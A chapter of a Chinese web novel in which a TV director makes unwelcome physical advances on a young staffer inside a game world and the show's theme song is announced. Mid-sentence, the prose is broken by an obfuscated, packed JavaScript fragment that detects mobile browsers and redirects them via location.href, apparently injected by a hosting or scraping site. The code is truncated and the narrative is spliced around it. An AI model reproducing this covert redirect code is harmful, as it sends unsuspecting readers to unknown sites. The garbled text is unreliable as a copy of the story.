Tina瞥到齐钧，没继续往下说，朝齐钧打了声招呼就走了，临走前还拍了拍褚余的肩膀。 褚余早就感觉到背后有人，她不情愿地回过头去。 面前的齐钧戴着一副墨镜，头发精心打理过，衣服穿得也比上次讲究，酒红衬衫搭配西裤皮鞋，能看出来身材不错。 褚余暗暗回想起第一次见面时齐钧的样子，原来他不是身材发福，而是练得太壮。 “导演你找我？”褚余扯出一个礼貌微笑。 齐钧面无表情地看着褚余，一声不吭，目光却在褚余的脸上肆意游走，看得褚余浑身不在。 褚余的笑愈来愈僵硬，有时候尬笑也是个累活，这是身为牛马的必修课，但褚余可不是当牛马的料，她一点也习惯不了在老板面前陪笑。 她索性也冷下脸来，默不作声地看着齐钧。 齐钧终于按耐不住了，忍不住开口道：“昨天生病了？” 褚余愣了一下，原来齐钧早就在这儿了，还偷听到了她和Tina的对话，幸好她没说什么不该说的话，不然又要绞尽脑汁才能糊弄过去。 齐钧上前两步，自顾自地伸手去摸褚余的额头。 褚余像触电一般，一个后撤步迅速躲开，说道：“现在已经好了。” 齐钧似乎并不在意，他低头笑了笑，又上前一步，硬是把手放到褚余额头上，动作带着不容拒绝的意味：“我怎么感觉你还在烧呢？” 褚余觉得一阵恶心，浑身的鸡皮疙瘩都起来了。她忍不住翻了个白眼，狠狠拍开齐钧的手，冷冷道：“导演，你把我妆弄花了。” 她显而易见的厌恶好像被齐钧选择性忽视了，他不慌不忙地收回手，那只手上还残留着褚余额头的温度，笑道：“这么漂亮还化妆，挺费心思的。” “小余！一会儿就开始录制了，赶紧过来！”Tina从拐角处闪出来，对褚余喊道。 褚余如逢甘霖，对齐钧匆匆说道：“导演我先走了！”她边说边从他旁边嗖地溜走了，不带一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300457|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝犹豫。 褚余跑到Tina身边，终于松了一口气，她感激地问道：“Tina姐，你一直没走吗？” “我怕他欺负你，要是太过分了我在这还能帮你一把。”Tina一脸担忧。 职场还是有真情在的，要不是Tina姐，褚余还不知道要跟齐钧非多少口舌。“谢谢你Tina姐。” Tina摇摇头，意味深长地说：“我看他那身反常地打扮就感觉情况有些不对。依我看来，他八成是看上你了。” 褚余听到这话微微怔住了。 Tina接着说：“也难怪，我们节目组这些人都一身班味，突然出现你这么个清纯美丽女大学生，叫我我也把持不住。” 这到底是夸奖还是诅咒，褚余一时不知道该作何反应，“不会吧，导演见多识广的，怎么可能看上我呢？” 褚余倒不是对自己不自信，她从小到大被不少人表白过，对自己的魅力很有认知。但这里是游戏世界，像齐钧这种NPC，怎么会突然对她这样一个偶然闯入的玩家有意思呢。 Tina微微一笑：“你还是经历得太少了，吃惯了大鱼大肉，偶尔也想换换口味吃点沙拉，就齐钧那点小心思，我一看就透。” “那么多沙拉，怎么偏偏看上我这盘？”褚余叹气道，就算是沙拉，她也是另一个世界的沙拉，怎么想都有点不合理。 “没办法，你这盘太完美了，蔬菜水果一应俱全，还特别新鲜，透着浑然天成的绿色健康，甩那些鸡鸭鱼肉八百条街。” 褚余只觉得头痛，她心中暗暗叫苦，帮孟舟搞事业才是她的主线，难道现在她还要负责跟NPC发展感情线吗？按照齐钧这行事风格，不知道剩下的三个月里她还要被纠缠多少次，还要绞尽多少脑汁才能摆脱他。 Tina见褚余愁眉苦脸的，安慰道：“这也不是什么坏事，与其想着怎么摆脱他，倒不如好好想想怎么利用他，这可是不可多得的机会。” 褚余抬起头，正对上Tina的目光，Tina的眼神中闪烁着一丝狡黠，仿佛在暗示这什么。 Tina笑着凑到褚余耳边，毫不避讳地说：“我就是这么过来的。” 褚余顿时瞪大了眼睛，这是能听的吗？ * 熟悉的录制中心中，熟悉的练习生们齐聚一堂，五位导师也已经就位。 大屏幕上弹出“主题曲公布”五个醒目的大字，随后出现的是主题曲的名字——《Iamtheone》。 台下的练习生们一阵骚动。 音乐响起，是阿杰导师和范范导师演唱的主题曲demo版本，Gragon导师和Nike导师登上舞台将主题曲从头到尾跳了一遍。 练习生们的欢呼声此起彼伏，有人摩拳擦掌，称赞主题曲好听又好看，也有人愁容满面，抱怨主题曲难度太大。 白以琳导师站起来眼神扫过每一位练习生，而后大声宣读起规则：“练习生们请注意，你们有两天时间学会这首主题曲，两天过后我们将重新评级。” 现场又是一阵骚动。 两天？原来不是三天吗？孟舟心中暗自思忖，这一次游戏世界有太多变动，有太多地方都让他感到纳闷。不过时间缩短对他倒是没什么影响，毕竟这首主题曲，他已经学过不止一遍了。